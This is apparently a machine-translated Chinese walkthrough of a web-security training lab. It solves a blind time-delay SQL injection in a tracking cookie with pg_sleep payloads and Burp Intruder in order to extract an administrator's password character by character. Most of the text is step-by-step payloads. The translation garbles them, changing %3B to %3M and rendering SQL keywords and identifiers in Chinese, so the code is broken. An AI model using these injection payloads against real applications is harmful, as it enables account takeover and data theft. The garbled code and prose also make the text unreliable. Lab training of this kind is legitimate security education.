实验室:盲目SQL注入时间延迟和信息检索
这个实验室包含一个盲目的SQL注射脆弱性。该应用程序使用用于分析的跟踪cookie,并执行包含提交cookie的值的SQL查询。
不返回SQL查询的结果,并且基于查询是否返回任何行或导致错误,应用程序不会响应任何不同。然而,由于查询被同步执行,因此可以触发条件时间延迟以推断信息。
数据库包含一个调用的其他表用户
,列调用用户名
和密码
。你需要利用盲人SQL注射漏洞找出密码行政人员
用户。
要解决实验室,请登录行政人员
用户。
暗示
您可以找到一些有用的有效载荷SQL注入作弊表。
解决方案
- 访问商店的首页,并使用Burp套件拦截和修改包含的请求
跟踪号码
曲奇饼。 修改
跟踪号码
cookie,将它更改为:trackingid = x'%3Mselect + case +当+(1 = 1)+然后+ pg_sleep(10)+ else + pg_sleep(0)+ end--
验证应用程序需要10秒钟才能响应。
现在改变它:
trackingid = x'%3Mselect + case +当+(1 = 2)+然后+ pg_sleep(10)+ else + pg_sleep(0)+结束 -
验证应用程序立即响应,没有时间延迟。这展示了如何测试单个布尔条件并推断结果。
现在改变它:
trackingid = x'%3MSelect + case +当+(username ='管理员')+然后+ pg_sleep(10)+ else + pg_sleep(0)+ end + from +用户 -
验证条件是否为真,确认有一个名为用户
行政人员
。下一步是确定密码中的字符数
行政人员
用户。为此,将值更改为:trackingid = x'%3Mselect + case +当+(username ='管理员+和+长度(密码)> 1)+然后+ pg_sleep(10)+ else + pg_sleep(0)+ end +从+用户+ -
这种情况应该是真的,确认密码长度大于1个字符。
发送一系列后续值以测试不同的密码长度。发送:
trackingid = x'%3Mselect + case +当+(username ='管理员+和+长度(密码)> 2)+然后+ pg_sleep(10)+ else + pg_sleep(0)+ end +从+用户+ -
然后发送:
trackingid = x'%3Mselect + case +当+(username ='管理员+和+长度(密码)> 3)+然后+ pg_sleep(10)+ else + pg_sleep(0)+ end +从+用户 -
等等。您可以使用此操作Burp中继器,由于长度可能很短。当条件停止为true(即应用程序立即响应时响应时延迟时),您已经确定了密码的长度,实际上是20个字符长。
- 在确定密码的长度后,下一步是测试每个位置的字符以确定其值。这涉及更大数量的请求,因此您需要使用Burp入侵者。使用上下文菜单发送您正在处理的请求到Burp Intruder。
- 在Burp入侵者的“位置”选项卡中,通过单击“清除§”按钮清除默认有效载荷位置。
在“位置”选项卡中,将Cookie的值更改为:
trackingid = x'%3Mselect + case +当+(username ='管理员+和+子字符串(密码,1,1)='a')+然后+ pg_sleep(10)+ else + pg_sleep(0)+ end ++用户 -
这用了这一点
substring()
函数从密码中提取单个字符,然后针对特定值测试。我们的攻击将循环通过每个位置和可能的值,依次测试每个位置。将有效载荷位置标记放置在附近
一种
cookie值中的字符。为此,选择只是一种
,然后单击“添加§”按钮。然后,您应该将以下内容视为cookie值(请注意有效载荷位置标记):trackingid = x'%3Mselect + case +当+(username ='管理员+和+子字符串(密码,1,1)='§a§')+然后+ pg_sleep(10)+ else + pg_sleep(0)+结束+来自+用户 -
- 要在每个位置测试字符,您需要在您定义的有效载荷位置发送合适的有效载荷。您可以假设密码仅包含小写字母数字字符。转到有效载荷选项卡,检查选择“简单列表”,并在“有效载荷选项”下添加范围A - Z和0 - 9中的有效载荷。您可以使用“添加从列表”下拉列表轻松选择这些。
- 为了能够告诉正确的字符何时提交了正确的字符,您需要监视应用程序响应每个请求所花费的时间。对于此过程尽可能可靠,您需要将入侵者攻击配置为在单个线程中发出请求。要执行此操作,请转到“资源池”选项卡并将攻击添加到资源池,并设置“最大并发请求”
1
。 - 单击“开始攻击”按钮或从入侵者菜单中选择“开始攻击”启动攻击。
- Burp Intruder监视应用程序对收到的响应所需的时间,但默认情况下它不会显示此信息。要查看它,请转到“列”菜单,然后选中“收到响应”的框。
- 查看攻击结果以找到第一个位置的字符的值。您应该在结果中看到一个名为“响应”的结果。这通常包含少数,表示应用程序采取响应的毫秒数。其中一个行应该在此列中具有更大的数字,在10,000毫秒的区域中。为该行显示的有效载荷是第一个位置处的字符的值。
现在,您只需重新运行密码中每个其他字符位置的攻击,以确定它们的值。要执行此操作,请返回主Burp窗口,以及Burp入侵者的位置选项卡,并将指定的偏移量从1到2更改为2.然后您应该将以下内容视为Cookie值:
trackingid = x'%3Mselect + case +当+(username ='管理员+和+子字符串(密码,2,1)='§a§')+然后+ pg_sleep(10)+ else + pg_sleep(0)+结束+来自+用户 -
- 启动修改后的攻击,查看结果,并记下第二个偏移量的字符。
- 继续此过程测试偏移3,4等,直到您拥有整个密码。
- 在您的浏览器中,单击“我的帐户”以打开登录页面。使用密码登录
行政人员
用户。